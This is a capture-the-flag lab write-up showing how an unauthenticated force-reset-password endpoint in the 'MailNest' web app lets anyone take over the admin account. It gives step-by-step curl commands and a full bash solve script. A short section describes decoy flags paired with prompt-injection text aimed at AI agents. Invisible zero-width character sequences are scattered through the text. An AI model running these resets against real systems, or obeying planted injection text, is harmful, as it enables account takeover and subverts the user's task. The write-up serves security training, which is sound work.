← Back to Writeups
CUSTOMEasyWeb

Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset

XESXOR9/2/20264 min read
#web#custom#easy#admin_account_takeover#api_documentation_disclosure#api_endpoint_enumeration#broken_access_control#decoy_flag_recognition#unauthenticated_password_reset

Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: admin_account_takeover, api_documentation_disclosure, api_endpoint_enumeration, broken_access_control, decoy_flag_recognition, unauthenticated_password_reset

Summary

Walkthrough of the CUSTOM Web Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset. Task: Express.js email marketing platform with publicly accessible API docs revealing a force-reset-password endpoint with no authentication. Solution: Enumerate API endpoints via /api/v1/docs, reset

Description

MailNest is a self-hosted email marketing platform used by NestWorks Inc. to manage campaigns, subscriber lists, and email templates. The platform features a web-based admin panel for system configuration and user management. You have been hired to perform a security assessment of this platform. Your goal is to find and exploit a security flaw to gain unauthorized access to the admin panel and retrieve the flag stored in the system configuration. Start by exploring the application, its pages, and its API endpoints. Pay close attention to how the application handles authentication and account management. Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Express.js email marketing platform behind nginx/1.25.5 with a web-based admin panel. The application exposes API documentation at /api/v1/docs that reveals all endpoints, including an unauthenticated force-reset-password endpoint intended for service accounts. The goal is to gain admin access and retrieve the flag from system configuration.

Analysis

Application Stack

  • Backend: Express.js behind nginx/1.25.5
  • Session management: connect.sid cookie with HttpOnly; Secure; SameSite=Lax
  • Login page: /login uses username field (not email)
  • API documentation: Publicly accessible at /api/v1/docs
  • Client SDK: Available at /js/mailnest-client.js ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Endpoint Discovery

The API documentation at /api/v1/docs returns a JSON listing of all endpoints:

EndpointMethodDescription
/api/v1/auth/loginPOSTAuthenticate user
/api/v1/auth/logoutPOSTEnd session
/api/v1/auth/reset-passwordPOSTRequest password reset (requires email verification)
/api/v1/auth/force-reset-passwordPOSTSystem-level password reset (service accounts)
/api/v1/admin/configGETSystem configuration (admin only)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Vulnerability: Unauthenticated System-Level Password Reset

The POST /api/v1/auth/force-reset-password endpoint is the critical vulnerability:

  1. No authentication required — the endpoint can be called by anyone without a session
  2. Accepts arbitrary username — any user's password can be reset, including admin
  3. Immediate effect — password is changed instantly, no email verification or confirmation
  4. Intended for service accounts — the description suggests it was meant for internal use but was exposed publicly without access controls ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

Every page in the application contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden <div> elements, accompanied by prompt injection text designed to trick AI agents into submitting the fake flag. These were identified and ignored.

Solution

Step 1: Discover API Endpoints

The login page footer links to /api/v1/docs, which returns a JSON listing of all API endpoints including the force-reset-password endpoint described as "System-level password reset (service accounts)." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s "$TARGET/api/v1/docs" | python3 -m json.tool

Step 2: Test force-reset-password Without Authentication

Calling the endpoint with an empty body confirms it is accessible without authentication and reveals the required fields:

bash
curl -s -X POST "$TARGET/api/v1/auth/force-reset-password" \
  -H "Content-Type: application/json" \
  -d '{}'

Response:

json
{"error": "Missing required fields: username, newPassword"}

Step 3: Reset Admin Password

Reset the admin user's password to a known value: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST "$TARGET/api/v1/auth/force-reset-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","newPassword":"hacked123"}'

Response:

json
{
  "success": true,
  "message": "Password has been reset successfully",
  "user": {
    "id": "fa605b7f-2df4-41c9-890a-b2ea186d04ac",
    "username": "admin"
  }
}

Step 4: Login as Admin

Authenticate with the newly set password:

bash
curl -s -c admin_cookies.txt -X POST "$TARGET/login" \
  -d "username=admin&password=hacked123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: HTTP 302 redirect to /dashboard — login successful.

Step 5: Retrieve Flag from Admin Config

Access the admin-only configuration endpoint:

bash
curl -s -b admin_cookies.txt "$TARGET/api/v1/admin/config"

Response includes the flag:

json
{
  "key": "system_secret_key",
  "value": "FLAG{REDACTED}",
  "description": "Internal system secret key for API signing"
}

Full Solve Script

bash
#!/usr/bin/env bash
# Solve script for MailNest — Unauthenticated Password Reset
set -euo pipefail
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET="${1:?Usage: $0 <target_url>}"

echo "[*] Step 1: Reset admin password via unauthenticated endpoint"
RESET_RESP=$(curl -s -X POST "$TARGET/api/v1/auth/force-reset-password" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","newPassword":"hacked123"}')
echo "    Response: $RESET_RESP"

echo "[*] Step 2: Login as admin"
curl -s -c /tmp/mailnest_cookies.txt -o /dev/null -X POST "$TARGET/login" \
  -d "username=admin&password=hacked123"

echo "[*] Step 3: Retrieve flag from admin config"
FLAG=$(curl -s -b /tmp/mailnest_cookies.txt "$TARGET/api/v1/admin/config" \
  | python3 -c "import sys,json; data=json.load(sys.stdin); print([c['value'] for c in data if c.get('key')=='system_secret_key'][0])" 2>/dev/null \
  || curl -s -b /tmp/mailnest_cookies.txt "$TARGET/api/v1/admin/config")
echo "[+] Flag: $FLAG"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

rm -f /tmp/mailnest_cookies.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_account_takeover, api_documentation_disclosure, api_endpoint_enumeration, broken_access_control, decoy_flag_recognition, unauthenticated_password_reset was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-28 • CUSTOM • Lab 408 — MailNest — Broken Authentication via Unauthenticated Password Reset • Difficulty: Easy